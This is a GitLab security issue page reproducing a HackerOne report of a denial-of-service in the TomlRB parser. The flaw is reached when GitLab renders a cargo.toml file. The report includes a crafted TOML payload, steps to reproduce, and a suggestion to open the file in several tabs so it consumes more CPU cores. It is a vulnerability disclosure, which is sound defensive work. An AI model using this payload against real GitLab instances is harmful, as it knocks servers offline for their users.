Skip to content

Server Denial-Of-Service through uncontrolled resource consumption when viewing a maliciously crafted cargo.toml file.

⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2648665 by l33thaxor on 2024-08-09, assigned to @kmorrison1:

Report | Attachments | How To Reproduce

Report

Summary

The bug exists in lib/gitlab/dependency_linker/cargo_toml_linker.rb when parsing the cargo.toml file. The bug is in the TomlRB ruby library, not actually in the gitlab code itself.

Here:

      def toml  
        [@]toml ||= begin  
          TomlRB.parse(plain_text)  
        rescue StandardError  
          nil  
        end  
      end

an attacker can supply a malicious (invalid) TOML string such as this:

data = ")'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'

to cause denial of service. (This bug was originally found by fuzzing. I have attached the original hanging input with the crash- prefix and a minimized version as cargo.toml in the zip file. I have also attached a screen recording which shows the bug on my local machine.)

This bug stems from poor time complexity when parsing TOML in the TomlRB library, so any component of gitlab (and computer program in general) which uses TomlRB.parse on attacker controlled input is vulnerable.

An attacker can of course open the same cargo.toml on multiple tabs to consume more CPU cores and bring the server to an unresponsive state.

There doesn't appear to be an application limit, which could be tuned to prevent this DOS.

Steps to reproduce

The reproduction steps are basically identical to the ones at #431924 (closed) , except just use the hanging input file attached to this report instead of the input proposed in that report. The user must of course have privileges to push this maliciously crafted cargo.toml file to the vulnerable server.

So just:

  1. Create a new project or open an existing one.
  2. Push the malicious cargo.toml file to the repository.
  3. Open the file in the gitlab web app.
  4. Observe uncontrolled resource consumption.
Impact

Uncontrolled resource consumption which causes Denial-Of-Service on the backend.

Examples

This bug should affect every instance of gitlab. I used gitlab version v16.2.10-ee but having looked through the code, this should work for the newest version of gitlab.

What is the current bug behavior?

The webpage hangs consuming one CPU core when trying to load the malicious TOML file.

What is the expected correct behavior?

Instead of hanging, the web server should just display the contents and not hang.

Relevant logs and/or screenshots
Output of checks
Results of GitLab environment info

System information  
System:		Linuxmint 21  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	3.0.6p216  
Gem Version:	3.4.14  
Bundler Version:2.4.16  
Rake Version:	13.0.6  
Redis Version:	7.0.12  
Sidekiq Version:6.5.7  
Go Version:	go1.18.1 linux/amd64

GitLab information  
Version:	16.2.10-ee  
Revision:	b20b986eed4  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	13.11  
URL:		http://localhost  
HTTP Clone URL:	http://localhost/some-group/some-project.git  
SSH Clone URL:	git@localhost:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers: 

GitLab Shell  
Version:	14.23.0  
Repository storages:  
- default: 	unix:/var/opt/gitlab/gitaly/gitaly.socket  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell

Impact

Denial-Of-Service on all gitlab instances along with uncontrolled resource consumption.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: